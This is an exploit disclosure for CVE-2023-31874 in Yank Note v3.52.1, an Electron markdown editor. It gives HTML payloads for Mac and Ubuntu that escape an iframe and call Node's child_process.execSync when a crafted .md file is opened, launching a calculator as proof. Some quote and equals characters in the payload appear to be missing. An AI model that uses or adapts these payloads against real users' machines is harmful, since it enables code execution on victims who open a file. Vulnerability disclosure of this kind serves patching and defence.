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# Exploit Title: Yank Note v3.52.1 (Electron) - Arbitrary Code Execution
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# Date: 2023-04-27
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# Exploit Author: 8bitsec
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# CVE: CVE-2023-31874
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# Vendor Homepage: yank-note.com
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# Software Link: https://github.com/purocean/yn
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# Version: 3.52.1
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# Tested on: [Ubuntu 22.04 | Mac OS 13]
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Release Date: 2023-04-27
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Product & Service Introduction: A Hackable Markdown Editor for Programmers. Version control, AI completion, mind map, documents encryption, code snippet running, integrated terminal, chart embedding, HTML applets, Reveal.js, plug-in, and macro replacement
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Technical Details & Description:
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A vulnerability was discovered on Yank Note v3.52.1 allowing a user to execute arbitrary code by opening a specially crafted file.
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Proof of Concept (PoC):
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Arbitrary code execution:
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Create a markdown file (.md) in any text editor and write the following payload.
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Mac:
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<iframe srcdoc"<img srcx onerroralert(parent.parent.nodeRequire('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());>')>">
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Ubuntu:
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<iframe srcdoc"<img srcx onerroralert(parent.parent.nodeRequire('child_process').execSync('gnome-calculator').toString());>')>">
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Opening the file in Yank Note will auto execute the Calculator application. |